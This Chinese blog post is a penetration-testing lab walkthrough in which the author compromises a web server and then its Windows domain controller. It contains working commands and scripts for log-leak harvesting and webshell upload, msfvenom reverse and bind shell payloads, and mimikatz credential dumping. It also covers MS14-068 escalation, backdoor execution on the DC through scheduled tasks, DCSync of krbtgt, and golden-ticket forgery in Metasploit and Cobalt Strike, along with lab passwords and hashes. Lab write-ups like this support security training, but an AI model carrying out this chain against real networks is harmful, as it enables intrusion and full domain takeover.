暗月项目六-内网域渗透

descript

descript

渗透过程概述:

1、信息收集-->敏感文件泄漏-->后台getshell

nmap扫描端口,gobuster扫描目录,未发现后台,发现.svn文件,利用svn源代码泄漏工具 未成功,访问.svn/wc.db固定文件,发现存储网站目录结构,发现日志路径,编写thinkphp日志泄漏工具读取日志内容,发现password并解密。子域名碰撞找后台并登陆,设置上传类型并上传shell。msf利用永恒之蓝(ms17_010_etenalblue)失败,

2、ms14-068-->msf制作黄金票据,访问域控

使用enum_logged_on_users 模块获取域用户web的sid,ms14-068.exe普通域用户提权到域控(ms14-068 生成xx.ccache票据,mimikatz::ptc xx.ccache导入票据),访问域控,at添加定时任务,msf正向连接到dc,dcsync_ntlm krbtgt 导出域控里krbtgt服务账户信息,制作黄金票据。回到web会话,清空所有票据,使用黄金票据,可成功访问dc。

3、cs制作黄金票据

cs 制作黄金票据:KrbCredExport.py将ms14-068.exe生成的xx.ccache转化为kirbi格式u.ticket。kerberos_ticket_use u.ticket 导入票据。获取dc访问权限,复制beacon.exe到域控,添加定时任务执行它,beacon>link dc,cs正向连接dc。beacon> dcsync hackbox.com hackbox\krbtgt 导出krbtgt信息,在web上制作黄金票据,web可访问dc。


1、信息收集

1.1 端口扫描

先用masscan 快速扫描

masscan -p 1-65535 --rate=1000 192.168.1.150

再用nmap 扫描,获得已开放端口的详细服务信息

nmap -sC -sT -sV -A -O -Pn -p 80,135,139,445,3306,3389,49152,49153,49154,49155,49156,49157,47001 192.168.1.150

descript

descript

1.2 目录扫描

gobuster dir -u http://www.webhack123.com/ -w /usr/share/wordlists/dirb/big.txt

没有发现后台

descript

2、漏洞挖掘

2.1 目录扫描,发现有.svn目录,尝试访问.svn目录下固定文件(夹) entries 和wc.db

descript

2.2 .svn/entries 存在可以遍历文件漏洞,这里失败了。

descript

2.3 下载wc.db,其存储有网站目录文件信息

descript

2.4 浏览数据库,发现日志路径

2.4.1 sqlitebrowser wc.db 打开db文件,查看数据库,了解网站结构

descript 

descript

2.4.2 浏览数据,选择表,过滤,获取匹配的内容

descript

2.4.3 获取log文件路径

 http://www.webhack123.com/App/Runtime/Logs/18_07_02.log 读取log内容

descript

3、漏洞利用【thinkphp日志泄漏】

3.1 编写工具 getlogs.py,读取log内容到本地

读取thinkphp日志内容
# encodings=utf_8

import requests

# http://www.webhack123.com/App/Runtime/Logs/19_05_24.log

baseUrl = 'http://www.webhack123.com/App/Runtime/Logs/'

def getUrls(y):

    fileName = ''

    urls = []

    for m in range(1, 13):

        for d in range(1, 32):

            if m < 10:

                if d < 10:

                    fileName = "{0}_0{1}_0{2}.log".format(y, m, d)

                else:

                    fileName = "{0}_0{1}_{2}.log".format(y, m, d)

            else:

                if d < 10:

                    fileName = "{0}_{1}_0{2}.log".format(y, m, d)

                else:

                    fileName = "{0}_{1}_{2}.log".format(y, m, d)

            url = baseUrl + fileName

            urls.append(url)

            # print(url)

    return urls

def getLogs(y):

    urls = getUrls(y)

    for url in urls:

        res = requests.get(url)

        if res.status_code == 200:

            print(url)

            with open('./getLogs.txt', 'a+', encoding='utf_8') as f:

                f.write(res.text)

getLogs(22)

3.2 发现密文

thinkphp低版本会在日志中记录修改密码,找到时间点最近的password日志,解密hash

admin 74c774ef39b5b977c1fd59dbfc73c3e380a65aa3

somd5.com 解密 web123

descript

3.3 子域名碰撞找后台

gobuster 目录扫描没有发现后台,IP_hosts_scan.py 子域名碰撞 找后台

admin.webhack123.com 没有在idc做ip指向

只在本地服务器做了host域名绑定,子域名扫描 找不到

绑定hosts,使用工具 IP_hosts_scan.py 碰撞子域名

(工具原理:先复制hosts文件,把子域名绑定到hosts,碰撞扫描,输出结果,还原hosts文件)

子域名碰撞找后台
 #!/usr/bin/python

# -*- coding: UTF-8 -*-

# Author:R3start

# 这是一个用于IP和域名碰撞匹配访问的小工具

import os

import requests

import re

import shutil

lists = []

files = open('hosts_ok.txt', 'w+')

originpath = "C:\\Windows\\System32\\drivers\\etc\\hosts"

copypath = "C:\\Windows\\System32\\drivers\\etc\\hosts2"

shutil.copy(originpath, copypath)

hostsfile = open(originpath, "w+", encoding="utf-8")

# 读取IP地址

print("================开 始 匹 配==========================")

for iplist in open("ip.txt"):

ip = iplist.strip('\n')

# 读取host地址

# http_s = ['http://','https://']

http_s = ['http://']

for h in http_s:

for d in open("top3kdomain.txt", 'r'):

d = d.strip('\n')

for hostlist in open("host.txt", 'r'):

host = d + "." + hostlist.strip('\n')

content = "{0} {1}\n".format(ip, host)

hostsfile.write(content)

headers = {

'Host': host,

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}

try:

r = requests.session()

requests.packages.urllib3.disable_warnings()

rhost = r.get(h + ip, verify=False, headers=headers, timeout=5)

rhost.encoding = 'utf-8'

title = re.search('<title>(.*)</title>', rhost.text).group(1) # 获取标题

info = '%s -- %s 协议:%s 数据包大小:%d 标题:%s' % (ip, host, h, len(rhost.text), title)

#print(info)

if rhost.status_code == 200:

lists.append(info)

files.write(info + "\n")

except Exception as e:

error = ip + " --- " + host + " --- 访问失败!~"

# print(error)

# print(e)




files.close()

hostsfile.close()

shutil.copy(copypath, originpath)

os.remove(copypath)

print("=============匹 配 成 功 的 列 表======================")

for i in lists:

print(i)

descript

 发现后台 admin.webhack123.com

3.4 登陆后台,设置上传文件类型getshell

3.4.1 第一种登录方式:登陆验证码 可复用,采用密码暴破

descript

3.4.2 第二种登录方式:前面通过读取日志,获取账号密码 admin web123

成功登陆后台,允许上传类型里添加 php。

上传shell.php,右键查看 上传后的地址:

http://admin.webhack123.com/Public/Upload/20220407/xxxxxx.php

descript

3.4.3 蚁剑连接getshell

descript

3.5 上线msf

3.5.1 msf生成tcp反向连接 r.exe,并蚁剑上传。msf开启tcp监听,获取system权限会话

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -f exe >r.exe 

descript
descript

4、提权

4.1 kiwi获取明文密码

meterpreter > migrate 476

meterpreter > load kiwi

meterpreter > creds_all

获取 账户密码 Administrator !@#Qwe456

descript

descript

4.2 开启3389,登陆远程桌面(失败)

run post/windows/manage/enable_rdp

rdesktop 192.168.0.150

hackbox\web !@#Qwe456

验证账户密码是否正确(密码正确但提示 未加入远程组,有时候本地.\administrator密码和域用户密码一致)

5、内网渗透【msf跨网段域渗透,制作dc黄金票据】

5.1 域信息收集

5.1.1 确定域环境

steal_token 6568 -----令牌窃取【必须切到adminstrator,非system ,才能使用net config workstation】

net config workstation  -----确定域环境

descript

descript

5.1.2 定位域控

meterpreter > run post/windows/gather/enum_domain

descript

5.1.3 域信息收集

net view 遍历信任主机

net view /domain 查看域

ipconfig /all

net group /domain

descript

descript

arp 发现内网主机 10.10.10.149

descript

5.2 添加路由,设置代理,端口扫描

meterpreter > run post/multi/manage/autoroute

msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy

proxychains4 nmap -sT -Pn -A 10.10.10.149

descript

5.3 永恒之蓝 ms17_010 溢出攻击dc(失败)

use exploit/windows/smb/ms17_010_eternalblue

descript

5.4 ms14-068漏洞,普通域用户提权到域控

【域普通用户--》创建票据--》导入票据--》访问dc的权限--》域超级管理员权限】

【ms14-068 漏洞需要以下四样道具:

1、任意域账户 web@hackbox.com

2、域账户密码 !@#Qwe456

3、SID S-1-5-21-2005268815-658469957-1189185684-1103

4、域控服务器IP 10.10.10.149

5.4.1 获取域普通用户信息

meterpreter > run post/windows/gather/enum_logged_on_users

web账户sid: S-1-5-21-2005268815-658469957-1189185684-1103

descript

5.4.2 创建票据

上传ms14-068.exe 到upload目录并执行:

ms14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

descript

5.4.3 导入票据 kerberos::ptc

5.4.3.1 load kiwi

5.4.3.2 清理票据

meterpreter > kerberos_ticket_purge

meterpreter > kerberos_ticket_list

descript

5.4.3.3 导入票据

(上传mimikatz.exe、mimidrv.sys、mimilib.dll到upload目录,运行mimikatz.exe)

kerberos::ptc TGT_web@hackbox.com.ccache

descript

5.4.3.4 查看票据

meterpreter > kerberos_ticket_list

descript

5.4.4 访问dc

5.4.4.1 导入票据前,访问dc 的c盘 (失败)

descript

5.4.4.2 导入票据后,访问dc 的c盘 (成功),获取访问dc权限

descript

5.5 域控dc上线msf

复制文件到dc c盘根目录 copy b.exe \\dc\c$\

查询dc时间 net time \\dc

at增加定时任务执行 at \\dc 10:10 c:/b.exe

上线msf

5.5.1 生成正向连接后门

msfvenom -p windows/meterpreter/bind_tcp lport=12346 -f exe>b.exe

5.5.2 copy命令 复制b.exe到域控

先上传b.exe 到web1

meterpreter > upload b.exe c:\

再copy到域控c盘根目录

cd /

C:\> copy b.exe \\dc\c$\

5.5.3 at 添加定时任务,执行b.exe

at \\dc ------查看定时任务列表

net time \\dc ------获取dc时间

at \\dc 10:10 c:/b.exe ------at添加定时任务

at \\dc ------查看定时任务列表,添加成功

at \\dc 14 /delete ------删除任务

descript

5.5.4 msf正向连接到域控dc,获取system权限

descript

5.5.5 域控dc信息收集,hash获取

meterpreter > migrate ---------进程迁移x64

meterpreter > load kiwi ---------加载kiwi

meterpreter > creds_all ---------检索所有用户凭据

descript

5.6 制作 黄金票据

【黄金票据 不怕域管理员改密码,依然能使用】

黄金票据的条件要求:

1.域名称  [AD PowerShell模块:(Get-ADDomain).DNSRoot]

2.域的SID值 [AD PowerShell模块:(Get-ADDomain).DomainSID.Value]

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

5.6.1 检索域Kerberos帐户(KRBTGT)信息

5.6.1.1 meterpreter > dcsync_ntlm krbtgt

descript

[+] Account : krbtgt

[+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98

[+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b

[+] SID : S-1-5-21-2005268815-658469957-1189185684-502

[+] RID : 502

5.6.1.2 获取krbtgt域账户sid

wmic useraccount where name="krbtgt" get sid

descript

5.6.1.3 steal_token 令牌窃取,切到域管理员权限

有时候,system系统权限没办法做 dcsync 所以切换域管理员权限

steal_token 2812 -----administrator

dcsync_ntlm krbtgt

5.6.2 生成黄金票据

meterpreter > golden_ticket_create -u moonsec -d hackbox.com -k 6f60ace6accbcb76078ccc0312174e98 -s S-1-5-21-2005268815-658469957-1189185684 -t moonsec.ticket

descript

5.6.3 切换到web服务器session1,把凭据都清理掉

meterpreter > sessions 1

meterpreter > kerberos_ticket_list

meterpreter > kerberos_ticket_purge

meterpreter > kerberos_ticket_list

C:\Windows\system32>dir \\dc\c$

descript

descript

5.6.4 web session1使用黄金票据访问dc

meterpreter > kerberos_ticket_use moonsec.ticket

meterpreter > kerberos_ticket_list

C:\Windows\system32>dir \\dc\c$

使用 黄金票据 访问dc成功。

descript

descript

5、内网渗透【cs跨网段域渗透,制作dc黄金票据】

5.1 cs获取web的system权限会话

5.1.1 添加http监听器和smb监听器

descript    descript

5.1.2 生成http后门

descript

5.1.3 蚁剑上传后门,并执行

descript

5.1.4 选择smb payload,注入(迁移)到x64系统进程

descript

descript

5.1.5 hash dump

进入新 beacon,设置sleep 0

beacon> hashdump

beacon> logonpasswords

descript descript

暂时无法获取域用户web的sid,只能利用msf里获取的

meterpreter > run post/windows/gather/enum_logged_on_users

web账户sid: S-1-5-21-2005268815-658469957-1189185684-1103

5.1.6 访问域控dc,失败

beacon> shell dir \\dc\c$

descript

5.2 ms14-068.exe将普通域用户提权到域控

beacon> cd C:/phpstudy_pro/WWW/www.webhack123.com/Public/Upload

beacon> pwd -----输出当前目录 == beacon> shell cd

beacon> shell cd 查看当前目录

beacon> shell cd xxx 切换目录失败,直接用cd切换目录

5.2.1 创建普通票据

beacon> shell ms14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

生成 TGT_web@hackbox.com.ccache

descript

5.2.2 KrbCredExport.py 将 .ccache 文件转化为 kirbi 格式

python2 KrbCredExport.py TGT_web@hackbox.com.ccache u.ticket

5.2.3 导入票据

beacon> kerberos_ticket_use

5.2.4 访问域控dc,获取访问权限

beacon> shell dir \\dc\c$

descript

5.3 cs获取dc控制权限

前面只有访问权限,无控制权限

5.3.1 cs生成smb正向连接后门beacon.exe,蚁剑上传

descript

5.3.2 复制文件到dc域控

beacon> shell copy beacon.exe \\dc\c$\

descript

5.3.3 用at命令添加定时任务执行

beacon> shell net time \\dc

beacon> shell at \\dc 18:23 c:/beacon.exe

beacon> shell at \\dc

descript

5.3.4 beacon会话,正向连接上dc

beacon> link dc

descript

descript

5.3.5 获取dc明文和hash

进入新beacon,sleep 0,注入(迁移)系统进程,hashdump、mimikatz

descript

5.4 cs制作黄金票据

5.4.1 导出域账户krbtgt的信息

beacon> dcsync hackbox.com hackbox\krbtgt

krbtgt --SID: S-1-5-21-2005268815-658469957-1189185684

krbtgt --NTLM:6f60ace6accbcb76078ccc0312174e98

descript

5.4.2 在web上制作黄金票据

descript

自动生成的:

beacon> mimikatz kerberos::golden /user:moonsec /domain:hackbox.com /sid: S-1-5-21-2005268815-658469957-1189185684 /krbtgt:6f60ace6accbcb76078ccc0312174e98 /endin:480 /renewmax:10080 /ptt

descript

5.4.3 访问域控dc 成功

beacon> shell dir \\dc\c$

descript

6、横向移动

7、权限维持

8、痕迹清理

9、总结 

posted @ 2023-03-23 13:42  hello_bao  阅读(856)  评论(0)    收藏  举报